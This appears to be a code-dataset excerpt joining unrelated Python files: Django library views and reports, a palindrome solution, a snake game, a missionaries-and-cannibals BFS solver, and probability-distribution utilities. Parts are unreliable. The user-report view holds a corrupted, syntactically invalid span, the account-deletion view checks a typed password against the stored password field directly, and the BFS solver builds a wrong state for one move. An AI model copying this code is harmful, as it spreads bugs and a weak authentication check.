lecturas.append(lecturas2[i])\n print(lecturas)\n dicci={'lecturas':lecturas}\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n dicci[\"perfil\"]=perfil\n return render(request,'historialLectura.html',dicci)\n\n@login_required\ndef eliminarMiCuenta(request):\n if request.method==\"POST\":\n intext=request.POST[\"password\"]\n intext=intext.strip()\n if(intext==\"\"):\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n return render (request,'eliminarMiCuenta.html',{\"cod\":1,\"perfil\":perfil})\n else:\n if(intext == request.user.password):\n user=request.user\n do_logout(request)\n user.delete()\n return redirect('/')\n else:\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n return render (request,'eliminarMiCuenta.html',{\"cod\":2,\"perfil\":perfil})\n else:\n if(request.user.is_staff==0):\n perfil=request.session.get('id')\n perfil=Perfil.objects.get(id=int(perfil))\n return render (request,'eliminarMiCuenta.html',{\"perfil\":perfil})\n\n@staff_member_required\ndef informes(request):\n return render(request,'informes.html')\n\n@staff_member_required\ndef informeUsuarios(request):\n class informeDeUsuario:\n username=''\n idUsuario=''\n fecha=''\n dni=''\n\n fechaIni=''\n fechaFin=''\n\n if request.method=='POST':\n fechaIni= request.POST['fechaDesde']\n fechaFin= request.POST['fechaHasta']\n if (fechaFin=fechaIni):\n if (fecha<= fechaFin):\n nue=informeDeUsuario()\n nue.username=each.user.username\n nue.idUsuario=each.id\n nue.fecha=fecha\n nue.dni=each.dni\n usuarios.append(nue)\n return render(request,'informeUsuarios.html',{\"usuarios\":usuarios,\"fechaInicio\":request.POST['fechaDesde'],\"fechaFinal\":request.POST['fechaHasta']})\n else:\n usus=Usuario.objects.all()\n usuarios=[]\n for each in usus:\n nue=informeDeUsuario()\n nue.username=each.user.username\n nue.idUsuario=each.id\n nue.fecha=each.user.date_joined.strftime(\"%Y-%m-%d\")\n nue.dni=each.dni\n usuarios.append(nue)\n return render(request,'informeUsuarios.html',{\"usuarios\":usuarios})\n\n\n@staff_member_required\ndef informeLibros(request):\n lecturas=Lectura.objects.all()\n libros=Libro.objects.all()\n class informeDeLibro:\n isbn=''\n idLibro=''\n cant=''\n titulo=''\n autor=''\n\n def _str_(self):\n cadena=\"Mi isbn es \" + str(self.isbn) + \", mi id es \" + str(self.idLibro) + \", mi titulo es \" + str(self.titulo) + \", mi autor es \" + str(self.autor) + \" y mi cantidad es \" + str(self.cant)\n return cadena\n\n cantidades=[]\n if len(libros)>0:\n for each in lecturas:\n nono=True\n for c in cantidades:\n if (each.isbn == c.isbn):\n nono=False\n break\n if(nono):\n if len(Libro.objects.filter(isbn=each.isbn))>0:\n lec=informeDeLibro()\n lec.isbn=each.isbn\n lec.idLibro=Libro.objects.get(isbn=each.isbn).id\n lec.titulo=Libro.objects.get(isbn=each.isbn).titulo\n lec.autor=Libro.objects.get(isbn=each.isbn).autor\n cant=1\n people=[]\n people.append(each.usuario)\n for each2 in lecturas:\n if (each.isbn == each2.isbn):\n if each2.usuario not in people:\n cant= cant + 1\n people.append(each2.usuario)\n lec.cant=cant\n cantidades.append(lec)\n for each in libros:\n noEsta=True\n for each2 in cantidades:\n if( each2.isbn == each.isbn ):\n noEsta=False\n break\n if (noEsta):\n lec=informeDeLibro()\n lec.isbn=each.isbn\n lec.idLibro=Libro.objects.get(isbn=each.isbn).id\n lec.titulo=Libro.objects.get(isbn=each.isbn).titulo\n lec.autor=Libro.objects.get(isbn=each.isbn).autor\n lec.cant=0\n cantidades.append(lec)\n ordenados= sorted(cantidades,reverse=True,key=lambda libro : libro.cant )\n else:\n ordenados=[]\n return render (request,'informeLibros.html',{\"libros\":ordenados})\n","sub_path":"Vista/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":42957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"165299296","text":"class Solution:\n def validPalindrome(self, s: str) -> bool:\n i,j = 0, len(s)-1\n lastD = None\n while i != j and i <= j:\n if s[i] == s[j]:\n i += 1\n j -= 1\n continue\n\n if not lastD: # can del i or j\n if i + 1 <= j:\n if s[i + 1] == s[j]:\n lastD = (True, i, j) # try del s[j] again\n i += 2\n j -= 1\n continue\n elif s[i] == s[j-1]:\n i += 1\n j -= 2\n lastD = (False, i, j)\n continue\n elif lastD[0]:\n i = lastD[1]\n j = lastD[2]\n if s[i] == s[j-1]:\n i += 1\n j -= 2\n lastD = (False, i, j)\n continue\n return False\n return True\n\nprint(Solution().validPalindrome(\"aguokepatgbnvfqmgmlcupuufxoohdfpgjdmysgvhmvffcnqxjjxqncffvmhvgsymdjgpfdhooxfuupuculmgmqfvnbgtapekouga\"))\n# print(Solution().validPalindrome('abcda'))\n# print(Solution().validPalindrome('aba'))\n\n\n# 该题解的实现过于复杂,简洁明了的实现如下:\n\n# class Solution {\n# public:\n# bool palindrome(const std::string& s, int i, int j)\n# {\n# for ( ; i < j && s[i] == s[j]; ++i, --j);\n# return i >= j;\n# }\n\n# bool validPalindrome(string s) {\n# int i = 0, j = s.size() - 1;\n# for ( ; i < j && s[i] == s[j]; ++i, --j); \n# return palindrome(s, i, j - 1) || palindrome(s, i + 1, j);\n# }\n# };","sub_path":"string/palindrome/680_validPalindrome.py","file_name":"680_validPalindrome.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"125807172","text":"def getsnakePoints():\n ruleChars = ['<', '^', '>', 'v']\n global n, m, _map\n headPoint = (-1, -1)\n bodyPoints = []\n for i in range(n):\n for j in range(m):\n if _map[i][j] in ruleChars:\n headPoint = (i, j)\n if _map[i][j] == '*':\n bodyPoints.append((i, j))\n return headPoint, bodyPoints\n\ndef getDirHeadsnake(headPoint):\n global _map\n x = _map[headPoint[0]][headPoint[1]]\n if x == '<':\n return 0\n elif x == '^':\n return 1\n elif x == '>':\n return 2\n elif x == 'v':\n return 3\n return 0\n\ndef checkPoint(point):\n global n, m, _map\n return 0 <= point[0] < n and 0 <= point[1] < m\n\ndef getCharHeadsnake(x):\n ruleChars = ['<', '^', '>', 'v']\n if x < 0:\n x += 4\n return ruleChars[x % 4]\n\ndef printResult():\n global _map\n for i in _map:\n print(*i, sep=\"\")\n exit()\n\ndef printResultExit():\n global _map, snakePoints\n for point in snakePoints:\n _map[point[0]][point[1]] = 'X'\n for i in _map:\n print(*i, sep=\"\")\n exit()\n\ndef getNearPoint(listPoint, point):\n _l = (point[0], point[1] - 1)\n _u = (point[0] - 1, point[1])\n _r = (point[0], point[1] + 1)\n _d = (point[0] + 1, point[1])\n if _l in listPoint:\n return _l\n if _u in listPoint:\n return _u\n if _r in listPoint:\n return _r\n if _d in listPoint:\n return _d\n\ndef getFullsnakePoints(headPoint, bodyPoints):\n result = [headPoint]\n tmp = headPoint\n while len(bodyPoints) > 0:\n tmp = getNearPoint(bodyPoints, tmp)\n result.append(tmp)\n del bodyPoints[bodyPoints.index(tmp)]\n result.reverse()\n return result\n\ndef checkHeadPoint(newHeadPoint, snakePoints):\n global _map, n, m\n if newHeadPoint in snakePoints[1:]:\n printResultExit()\n if newHeadPoint[0] < 0 or newHeadPoint[0] > n - 1:\n printResultExit()\n if newHeadPoint[1] < 0 or newHeadPoint[1] > m - 1:\n printResultExit() \n return \n\ndef checkAfterRotate(headPoint, snakePoints):\n rulesPoints = [\n (0, -1), #L\n (-1, 0), #U\n (0, 1), #R\n (1, 0) #D\n ]\n x = getDirHeadsnake(headPoint)\n newHeadPoint = tuple(map(sum, zip(headPoint, rulesPoints[x])))\n checkHeadPoint(newHeadPoint, snakePoints)\n\ndef movesnake(snakePoints, control):\n global _map\n rulesPoints = [\n (0, -1), #L\n (-1, 0), #U\n (0, 1), #R\n (1, 0) #D\n ]\n headPoint = snakePoints[len(snakePoints) - 1]\n dirHeadsnake = getDirHeadsnake(headPoint) \n if control == 'L':\n _map[headPoint[0]][headPoint[1]] = getCharHeadsnake(dirHeadsnake - 1)\n # checkAfterRotate(headPoint, snakePoints)\n elif control == 'R':\n _map[headPoint[0]][headPoint[1]] = getCharHeadsnake(dirHeadsnake + 1)\n # checkAfterRotate(headPoint, snakePoints)\n elif control == 'F':\n newHeadPoint = tuple(map(sum, zip(headPoint, rulesPoints[dirHeadsnake])))\n checkHeadPoint(newHeadPoint, snakePoints)\n snakePoints.append(newHeadPoint)\n _map[newHeadPoint[0]][newHeadPoint[1]] = getCharHeadsnake(dirHeadsnake)\n lastPoint = snakePoints[0]\n if newHeadPoint == lastPoint:\n snakePoints.pop(0)\n lastPoint = snakePoints[0]\n _map[lastPoint[0]][lastPoint[1]] = '*'\n else:\n lastPoint = snakePoints.pop(0)\n _map[headPoint[0]][headPoint[1]] = '*'\n _map[lastPoint[0]][lastPoint[1]] = '.'\n\nn, m, c = [int(x) for x in input().split()]\n_map = []\nfor r in range(n):\n _map.append([str(x) for x in input().strip()])\ns = input()\n\nheadPoint, bodyPoints = getsnakePoints()\n\nsnakePoints = getFullsnakePoints(headPoint, bodyPoints)\n\nfor i in s: \n movesnake(snakePoints, i.upper())\n\nprintResult()","sub_path":"Wecode/19520214/Week 4.1/Problem_3.py","file_name":"Problem_3.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"271115670","text":"#Abhyuday Tripahi \n\nfrom collections import OrderedDict\n\n# frontier as OrederedDict \nfrontier = OrderedDict()\nexp = dict()\nclass state:\n def __init__(self,state,dir):\n self.dir =dir\n self.sta = state\n self.parent = None\n self.action=\" \"\n self.pathCost=0\n\n def is_goal_state(self,other):\n for i in range(len(other.sta)):\n if(other.sta[i]!=self.sta[i]):\n return False\n if other.dir != self.dir:\n return False\n return True\n\n def move(self):\n ml = self.sta[0] # missionaries on left bank\n cl = self.sta[1] # cannibals on left bank\n mr = self.sta[2] # missionaries on right bank\n cr = self.sta[3] # missionaries on right bank\n \n \n # constraints when moving left to right\n if self.dir>0:\n \n if((ml-1>=cl or ml-1==0) and ml-1>=0 and (mr+1>=cr)):\n \n x =state([ml-1,cl,mr+1,cr],-1)\n x.parent =self\n x.pathCost =self.pathCost+1\n x.action = \"1M 0C ====>\"\n if(checkNadd(x)):\n frontier[x.code()] =x\n if((cl-1<=ml or ml==0) and cl-1>=0 and (cr+1 <=mr or mr==0)):\n \n x =state([ml-1,cl,mr+1,cr],-1)\n x.parent =self\n x.pathCost =self.pathCost+1\n x.action = \"0M 1C ====>\"\n if(checkNadd(x)):\n frontier[x.code()] =x\n \n \n if((ml-2>=cl or ml-2==0) and ml-2>=0 and mr+2>=cr):\n \n x =state([ml-2,cl,mr+2,cr],-1)\n x.parent =self\n x.pathCost =self.pathCost+1\n x.action =\"2M 0C ====>\"\n if checkNadd(x):\n frontier[x.code()] =x\n\n if((cl-2<=ml or ml==0) and cl-2>=0 and (cr+2<=mr or mr==0)):\n \n x =state([ml,cl-2,mr,cr+2],-1)\n x.parent =self\n x.pathCost =self.pathCost+1\n x.action =\"0M 2C ====>\"\n if checkNadd(x):\n frontier[x.code()] =x\n\n\n if(ml-1>=cl-1 and cl-1<=ml-1 and cl-1>=0 and ml-1>=0 and mr+1>=cr+1 and cr+1<=mr+1):\n \n x =state([ml-1,cl-1,mr+1,cr+1],-1)\n x.parent =self\n x.pathCost =self.pathCost+1\n x.action = \"1M 1C ====>\"\n if checkNadd(x):\n frontier[x.code()] =x\n \n # constraints when moving right to left bank\n elif self.dir<0:\n \n if((mr-1>=cr or mr-1==0) and mr-1>=0 and ml+1>=cl):\n \n x=state([ml+1,cl,mr-1,cr],1)\n x.parent =self\n x.pathCost =self.pathCost+1\n x.action =\"<==== 1M 0C\"\n if checkNadd(x):\n frontier[x.code()] =x\n \n if((cr-1<=mr or mr==0) and cr-1>=0 and (cl+1<=ml or ml==0)):\n \n x =state([ml,cl+1,mr,cr-1],1)\n x.parent =self\n x.pathCost =self.pathCost+1\n x.action = \"<==== 0M 1C\"\n if checkNadd(x):\n frontier[x.code()] =x\n \n if((mr-2>=cr or mr-2==0) and mr-2>=0 and ml+2>=cl):\n \n x =state([ml+2,cl,mr-2,cr],1)\n x.parent =self\n x.pathCost =self.pathCost+1\n x.action = \"<==== 2M 0C\"\n if checkNadd(x):\n frontier[x.code()] =x\n\n\n \n if((cr-2<=mr or mr==0) and cr-2>=0 and (cl+2<=ml or ml==0)):\n \n x =state([ml,cl+2,mr,cr-2],1)\n x.parent =self\n x.pathCost =self.pathCost+1\n x.action=\"<==== 0M 2C\"\n if checkNadd(x):\n frontier[x.code()] =x\n \n\n if(mr-1>=cr-1 and cr-1<=mr-1 and mr-1>=0 and cr-1>=0 and ml+1>=cl+1 and cl+1<=ml+1):\n \n x =state([ml+1,cl+1,mr-1,cr-1],1)\n x.parent =self\n x.pathCost =self.pathCost+1\n x.action = \"<==== 1M 1C\"\n if checkNadd(x):\n frontier[x.code()] =x\n\n \n\n def __str__(self):\n \n \n return \"M: \"+str(self.sta[0])+\" \"+\"C: \"+str(self.sta[1])+\" \"+self.action+\" \"+\"M: \"+str(self.sta[2])+\" \"+\"C: \"+str(self.sta[3])\n\n def code(self):\n return \"M: \"+str(self.sta[0])+\" \"+\"C: \"+str(self.sta[1])+\"M: \"+str(self.sta[2])+\" \"+\"C: \"+str(self.sta[3])+str(self.dir)\n \n\n\ndef checkNadd(state):\n # checking Explored and Frontier\n if(state.code() not in exp or (state.code() in frontier and frontier[state.code()].pathCost>state.pathCost)):\n \n return True\n return False\n\n# helper function to print the solution path \ndef trail(state):\n if(state.parent==None):\n return state\n print(trail(state.parent))\n return state\n\nif __name__==\"__main__\":\n init = state([3,3,0,0],1)\n goal =state([0,0,3,3],-1)\n\n b =init\n frontier[str(b)]=b\n while len(frontier)!=0:\n # frontier set to FIFO Fashion for BFS\n x =frontier.popitem(last=False)[1]\n # Checking for Goal State\n if x.is_goal_state(goal):\n trail(x)\n print(x)\n print(f\"Achieved ! : {x.pathCost}\")\n \n break\n exp[x.code()] =1\n x.move()\n \n\n \n\n\n\n","sub_path":"Missionaries_Cannibals_Problem_BFS_.py","file_name":"Missionaries_Cannibals_Problem_BFS_.py","file_ext":"py","file_size_in_byte":5588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"52985512","text":"from __future__ import print_function\nimport random\nimport numpy as np\nfrom scipy.stats import entropy\n\n \nclass ProbabilityArray():\n \"\"\"\n Represents a discrete joint probability distribution as a tree where every\n level in the tree is one variable and every path to a leaf is a state and\n the value of the leaf is the probability of that state. This is \n implemented as a numpy array where every axis is a level in the tree \n (a variable).\"\"\"\n def __init__(self, probability_distribution):\n \"\"\"\n Parameters:\n ----------\n probability_distribution: a numpy array\n for all values x it should hold 0<=x<=1 and all values should\n sum to 1\n\n \"\"\"\n if np.absolute(np.sum(probability_distribution)-1) > 10**-9:\n raise ValueError(\"probability distribution sums to {}\".format(\n np.sum(probability_distribution)\n ))\n if np.any(probability_distribution < 0):\n raise ValueError(\"some probability is smaller than 0\") \n self.probability_distribution = probability_distribution\n\n def marginalize(self, variables, distribution=None):\n \"\"\"\n Find the marginal distribution of the variables\n\n Parameters:\n ----------\n variables: a set of integers\n Every variable in variables should be smaller than the total \n number of variables in the probability distribution\n\n Returns:\n -------\n A numpy array with as many axis as there were variables the\n variables have the same order as in the joint\n\n \"\"\"\n if distribution is None:\n probability_distribution = self.probability_distribution\n else:\n probability_distribution = distribution\n\n marginal_distribution = np.zeros(tuple(\n [probability_distribution.shape[i] for i in variables]\n ))\n it = np.nditer(probability_distribution, flags=['multi_index'])\n while not it.finished:\n marginal_state = tuple([it.multi_index[i] for i in variables]) \n marginal_distribution[marginal_state] += it.value\n it.iternext()\n\n return marginal_distribution\n\n def find_conditional(self, marginal_variables, conditional_variables):\n \"\"\"create the conditional distribution for the selected_indices given\n the conditional_indices for the joint_distribution\n\n Parameters:\n ----------\n marginal_indices: set of integers\n variables that are not conditioned on but are included\n conditional_indices: set of integers\n variables that are conditioned on\n\n Returns: conditional_distribution, marginal_labels, conditional_labels\n -------\n conditional_distribution: a numpy array\n marginal_labels: list of integers\n The variables that are NOT conditioned on\n conditional_labels: list of integers\n The variables that are conditioned on\n\n \"\"\"\n joint_distribution, marginal_labels, conditional_labels = (\n self.find_joint_marginal(marginal_variables, conditional_variables)\n ) \n \n marginal_conditional = self.marginalize(conditional_labels, joint_distribution)\n conditional_distribution = np.copy(joint_distribution)\n it = np.nditer(joint_distribution, flags=['multi_index'])\n while not it.finished:\n if it.value == 0:\n it.iternext()\n continue\n conditional_arguments = tuple(\n [it.multi_index[i] for i in conditional_labels]\n )\n conditional_distribution[it.multi_index] = (\n it.value/marginal_conditional[conditional_arguments]\n )\n it.iternext()\n\n conditional_shape = [i for count, i in enumerate(joint_distribution.shape)\n if count in conditional_labels]\n total_sum_conditional_distribution = reduce(lambda x,y: x*y,\n conditional_shape)\n if abs(np.sum(conditional_distribution)-total_sum_conditional_distribution)> 10**(-8):\n raise ValueError(\"sum is {} while it should be {}\".format(\n np.sum(conditional_distribution), total_sum_conditional_distribution\n ))\n\n return (conditional_distribution, marginal_labels, conditional_labels)\n\n def find_joint_marginal(self, variables1, variables2, distribution=None):\n \"\"\"\n Calculate the marginal for the combined set of variables1 and\n variables2 and adjust the variable indices\n\n Parameters:\n ----------\n variables1, variables2: set of integers\n\n Returns: joint_distribution, variable1_labels, variable2_labels\n -------\n joint_distribution: a numpy array\n Representing the marginal probability distribution for the \n combined set of variables 1 and 2\n variable1_labels, variable2_labels: set of integers \n The adjusted labels for variable 1 or 2 for the new joint \n distribution\n\n \"\"\"\n all_variables = variables1.union(variables2)\n joint_distribution = self.marginalize(all_variables, distribution)\n variable1_labels, variable2_labels = set(), set() \n for count, variable in enumerate(sorted(list(all_variables))):\n if variable in variables1:\n variable1_labels.add(count)\n elif variable in variables2:\n variable2_labels.add(count)\n\n return joint_distribution, variable1_labels, variable2_labels\n\n def find_conditional_accounting_for_zero_marginals(\n self, marginal_variables, conditional_variables, \n conditional_state_gen\n ):\n \"\"\"create the conditional distribution for the selected_indices given\n the conditional_indices for the joint_distribution\n\n Parameters:\n ----------\n marginal_indices: set of integers\n variables that are not conditioned on but are included\n conditional_indices: set of integers\n variables that are conditioned on\n conditional_state_gen: a generator\n Every time a marginal of the variables that are conditioned on\n is zero the generator is called for an \"artificial\" conditional\n state.\n\n Returns: conditional_distribution, marginal_labels, conditional_labels\n -------\n conditional_distribution: a numpy array\n marginal_labels: list of integers\n The variables that are NOT conditioned on\n conditional_labels: list of integers\n The variables that are conditioned on\n\n \"\"\"\n joint_distribution, marginal_labels, conditional_labels = (\n self.find_joint_marginal(marginal_variables, conditional_variables)\n ) \n \n marginal_conditional = self.marginalize(conditional_labels,\n joint_distribution)\n conditional_distribution = np.copy(joint_distribution)\n\n #first deal with the conditional values for zero marginals\n ix = np.argwhere(marginal_conditional==0)\n for element in ix:\n conditional_state = next(conditional_state_gen)\n conditional_distribution[tuple(element)] = conditional_state\n\n #set the rest of the values\n it = np.nditer(joint_distribution, flags=['multi_index'])\n while not it.finished:\n if it.value == 0:\n it.iternext()\n continue\n conditional_arguments = tuple(\n [it.multi_index[i] for i in conditional_labels]\n )\n conditional_distribution[it.multi_index] = (\n it.value/marginal_conditional[conditional_arguments]\n )\n it.iternext()\n\n conditional_shape = [i for count, i in enumerate(joint_distribution.shape)\n if count in conditional_labels]\n total_sum_conditional_distribution = reduce(lambda x,y: x*y,\n conditional_shape)\n if abs(np.sum(conditional_distribution)-total_sum_conditional_distribution) > 10**(-8):\n print(\"conditional distribution\")\n print(conditional_distribution)\n raise ValueError(\"sum is {} while it should be {}\".format(\n np.sum(conditional_distribution), total_sum_conditional_distribution\n ))\n\n return (conditional_distribution, marginal_labels, conditional_labels)\n\n\ndef compute_joint(marginal, conditional, conditional_labels):\n \"\"\"compute the joint given the marginal and the conditional\n \n Parameters:\n ----------\n marginal: a numpy array\n conditional: a numpy array\n conditional_labels: a set of integers\n The length of conditional_labels must be equal to the number of \n axis of marginal. In other words the variables of marginal should\n be equal to the variables that are conditioned on. The labels must\n be provided so that the order of the variables of the new joint and\n the old joint corresponds.\n\n \"\"\"\n total_variables = len(conditional.shape)\n reordered_conditional = np.moveaxis(\n conditional, conditional_labels,\n range(total_variables-len(conditional_labels), total_variables, 1)\n )\n joint = reordered_conditional*marginal\n joint = np.moveaxis(\n joint, range(total_variables-len(conditional_labels), total_variables, 1), \n conditional_labels\n )\n return joint\n\n\ndef compute_joint_uniform_random(shape):\n \"\"\"\n The joint distribution is generated by (uniform) randomly picking\n a point on the simplex given by (1, 1, ..., 1) with length the\n number of states of joint. In other words by sampling from the \n Dirichlet(1, 1, 1, ..., 1)\n\n Parameters:\n ----------\n shape: a tuple of integers\n\n Returns:\n -------\n a numpy array with dimensions given by shape\n\n \"\"\"\n number_of_states = reduce(lambda x,y: x*y, shape)\n dirichlet_random = np.random.dirichlet([1]*number_of_states)\n return np.reshape(dirichlet_random, shape)\n\n\ndef compute_joint_from_independent_marginals(marginal1, marginal2, marginal_labels):\n \"\"\"\n Compute the joint using the marginals assuming independendence\n \n Parameters:\n ----------\n marginal1: a numpy array\n Representing an M-dimensional probability distribution\n marginal2: a numpy array\n Representing a probability distribution, the order of the variables\n should be in the same order as in the final joint\n marginal_labels: a sorted (from small to big) list of integers\n Representing on which axis the variables of marginal2 should be\n placed in the joint\n\n Returns: the joint distribution\n\n \"\"\"\n outer_product = np.outer(marginal1, marginal2)\n joint = np.reshape(outer_product, marginal1.shape+marginal2.shape)\n for count, marginal_label in enumerate(marginal_labels):\n joint = np.rollaxis(joint, \n len(joint.shape)-len(marginal2.shape)+count,\n marginal_label)\n return joint\n\n\ndef mutate_distribution_old(distribution, mutation_size):\n \"\"\"\n Mutate the probability distribution\n\n Parameters:\n ----------\n distribution: a numpy array\n mutation_size: a float\n\n \"\"\"\n mutation = np.random.uniform(-mutation_size, mutation_size, distribution.shape)\n mutation = mutation\n mutated_distribution = np.copy(distribution)\n\n mutated_distribution = np.minimum(np.maximum(mutated_distribution + mutation, 0), 1)\n mutated_distribution = mutated_distribution/np.sum(mutated_distribution)\n if abs(np.sum(mutated_distribution)-1) > 10**-6:\n raise ValueError()\n\n return mutated_distribution\n\n\ndef select_parents_old(amount_of_parents, sorted_population, rank_probabilities):\n \"\"\"return the selected parents using stochastic universal selection \n \n Parameters:\n ----------\n amount_of_parents: integer\n sorted_population: a list of tuples with scores and numpy arrays\n rank_probabilities: a numpy array\n The probabilities to assign to every item. \n\n \"\"\"\n population_rank_probabilities = zip(sorted_population, rank_probabilities)\n points = (np.linspace(0, 1, amount_of_parents, False) + \n np.random.uniform(0, 1.0/amount_of_parents))\n\n random.shuffle(population_rank_probabilities)\n population = zip(*population_rank_probabilities)[0]\n rank_probabilities = zip(*population_rank_probabilities)[1]\n bins = np.zeros(len(sorted_population))\n probability_mass = 0 \n for i in range(len(sorted_population)):\n bins[i] = rank_probabilities[i] + probability_mass\n probability_mass += rank_probabilities[i]\n\n parent_indices, _ = np.histogram(points, bins)\n parents = []\n for index, amount_of_samples in enumerate(parent_indices):\n for i in range(amount_of_samples):\n parents.append(population[index])\n\n return parents\n\n\ndef produce_distribution_with_entropy_evolutionary_old(\n shape, entropy_size, number_of_trials, \n population_size=10, number_of_children=20,\n generational=False, initial_dist='peaked', number_of_peaks=1\n ):\n \"\"\"\n Produce a distribution with a given entropy\n\n Parameters:\n ----------\n shape: a tuple of ints\n entropy_size: the entropy size- base 2\n number_of_trials: integer\n population_size: integer\n number_of_children: integer\n generational: boolean\n Whether to replace every sample in the population\n\n Returns: \n -------\n a numpy array representing a probability distribution with\n a certain entropy\n \"\"\"\n total_number_of_states = reduce(lambda x,y: x*y, shape)\n if initial_dist=='peaked':\n population = []\n for i in range(population_size):\n sample = np.zeros(total_number_of_states)\n peaks = np.random.randint(0, total_number_of_states, number_of_peaks)\n peak_size = 1.0/number_of_peaks\n for peak in peaks:\n sample[peak] = peak_size\n population.append(sample)\n elif initial_dist=='random':\n population = [compute_joint_uniform_random(shape).flatten()\n for i in range(population_size)]\n\n rank_scores_exponential = 1-np.exp(-1*np.arange(population_size))\n rank_exp_probabilities = rank_scores_exponential/np.sum(rank_scores_exponential)\n for i in range(number_of_trials):\n population_scores = [abs(entropy_size-entropy(dist.flatten(), base=2)) \n for dist in population]\n sorted_population_scores = list(sorted(zip(population_scores, population), \n key=lambda x:x[0]))\n sorted_population = zip(*sorted_population_scores)[1]\n parents = select_parents_old(number_of_children, sorted_population,\n rank_exp_probabilities)\n if i final_entropy_size:\n #print('starting again')\n random_positions = np.random.choice(total_number_of_states, total_number_of_states*50*2)\n for i in range(total_number_of_states*50):\n if zero_marginals_removed: \n entropy_size -= decrease_entropy(\n distribution, random_positions[i],\n random_positions[i*2], max_difference, set_zero=True \n )\n else:\n entropy_size -= decrease_entropy(\n distribution, random_positions[i],\n random_positions[i*2], max_difference, \n )\n if entropy_size < final_entropy_size:\n break \n \n np.random.shuffle(distribution)\n distribution = np.reshape(distribution, shape)\n if zero_marginals_removed:\n distribution = remove_zero_marginals(distribution)\n return distribution\n\n\ndef remove_zero_marginals(distribution):\n \"\"\"remove all states for which a marginal has probability zero\n \n Parameters:\n ----------\n distribution:\n\n Returns:\n -------\n updated distribution (a copy of the original distribution)\n\n \"\"\"\n new_distribution = np.copy(distribution)\n probability_arr = ProbabilityArray(new_distribution)\n states_to_be_removed = {} \n for variable in range(len(distribution.shape)):\n marginal = probability_arr.marginalize(set([variable]))\n zero_states = []\n for j, state in enumerate(marginal):\n if state == 0:\n zero_states.append(j)\n\n if zero_states != []:\n states_to_be_removed[variable] = zero_states\n \n for variable, states in states_to_be_removed.items():\n new_distribution = np.delete(new_distribution, states, variable)\n\n if abs(np.sum(new_distribution)-1) > 10**(-10):\n raise ValueError\n\n probability_arr = ProbabilityArray(new_distribution)\n for variable in range(len(new_distribution.shape)):\n if np.any(probability_arr.marginalize(set([variable]))==0):\n raise ValueError()\n\n return new_distribution\n\n\ndef decrease_entropy(distribution, state1, state2, max_difference, set_zero=False):\n \"\"\"\n Decrease the entropy of a distribution by a random amount\n\n Parameters:\n ----------\n distribution: a 1-d numpy array \n Representing a probability distribution\n state1, state2: integers in the range len(distribution)\n \n Returns: a float\n -------\n By how much the entropy was decreased\n\n \"\"\"\n if distribution[state1]==0 or distribution[state2]==0:\n return 0\n elif distribution[state1] >= distribution[state2]:\n initial_entropy = np.dot(np.log2(distribution[[state1, state2]]),\n distribution[[state1, state2]])\n change = np.random.uniform(0, min(max_difference, distribution[state2]))\n if set_zero:\n if distribution[state2] < (10**(-10)):\n change = distribution[state2]\n\n distribution[state1] += change\n distribution[state2] -= change\n if distribution[state2] != 0:\n entropy_after = np.dot(np.log2(distribution[[state1, state2]]), \n distribution[[state1, state2]])\n else:\n entropy_after = np.log2(distribution[state1]) * distribution[state1]\n return -(initial_entropy - entropy_after)\n else:\n return decrease_entropy(distribution, state2, state1, max_difference)\n\n\nclass ProbabilityDict():\n \"\"\"\n Save a discrete probability distribution in a dictionary with keys\n representing states and values the probabilities\n \n \"\"\"\n\n def __init__(self, probability_dict):\n \"\"\"\n Parameters:\n ---------\n probability_dict: a dict\n The keys represent the different states (as tuples!) and \n the values represent the probability of the state\n\n \"\"\"\n self.probability_dict = probability_dict\n \n def print_distribution(self, sort=False):\n \"\"\"\n Fancy printing method for distribution\n\n Parameters:\n ----------\n sort: boolean\n if sort is true the states will be printed in sorted order\n\n \"\"\"\n\n if sort:\n prob_items = sorted(self.probability_dict.items(), \n lambda x, y: -1 if not x[0]>y[0] else 1)\n else:\n prob_items = self.probability_dict.items()\n \n for key, value in prob_items:\n print(\"{}: {}\".format(key, value))\n \n def calculate_marginal_distribution(self, chosen_variable_indices):\n \"\"\" \n Calculate the marginal distribution\n\n Parameters:\n ----------\n chosen_variable_indices: a set \n variables for which the marginal will be calculated\n \"\"\"\n\n marginal_distribution = {}\n for state, value in self.probability_dict.items():\n marginal_state = tuple(\n [entry for count, entry in enumerate(state) \n if count in chosen_variable_indices]\n )\n marginal_distribution[marginal_state] = value + marginal_distribution.get(marginal_state, 0)\n\n return marginal_distribution\n\n def calculate_entropy(self, variable_indices):\n \"\"\" \n Calculate the entropy\n\n Parameters:\n variable_indices: a set\n All (variable) indices for which the entropy be calculated\n\n \"\"\"\n distribution = self.calculate_marginal_distribution(variable_indices) \n distribution_values_arr = np.array(distribution.values())\n distribution_values = distribution_values_arr[distribution_values_arr != 0]\n return - np.sum(np.log2(distribution_values) * distribution_values)\n\n def calulate_mutual_information(self, variable_indices1, variable_indices2):\n \"\"\"\n Calculate the mutual information\n\n Parameters:\n ----------\n variable_indices1: a set\n All variable indices for the first distribution\n variable_indices2: All variable indices for second distribution\n\n \"\"\"\n return (self.calculate_entropy(variable_indices1) +\n self.calculate_entropy(variable_indices2) -\n self.calculate_entropy(variable_indices1+variable_indices2))\n\n\n","sub_path":"probability_distributions.py","file_name":"probability_distributions.py","file_ext":"py","file_size_in_byte":23245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"104496052","text":"import math\nfrom bisect import bisect_left\nfrom random import random as ran\nfrom Inputs import *\nimport PypyNumpy as np\n\n'''-----------------------------------'''\n''' Specific Functions for simulation '''\n'''-----------------------------------'''\n\n#################################################\n############ Neutron Birth PFD's ################\n#################################################\ndef ThetaPDF(x):\n ''' The neutron creation is assumed isotropic ''' \n return np.vector(ones(N_theta))\ndef PhiPDF(x):\n ''' The neutron 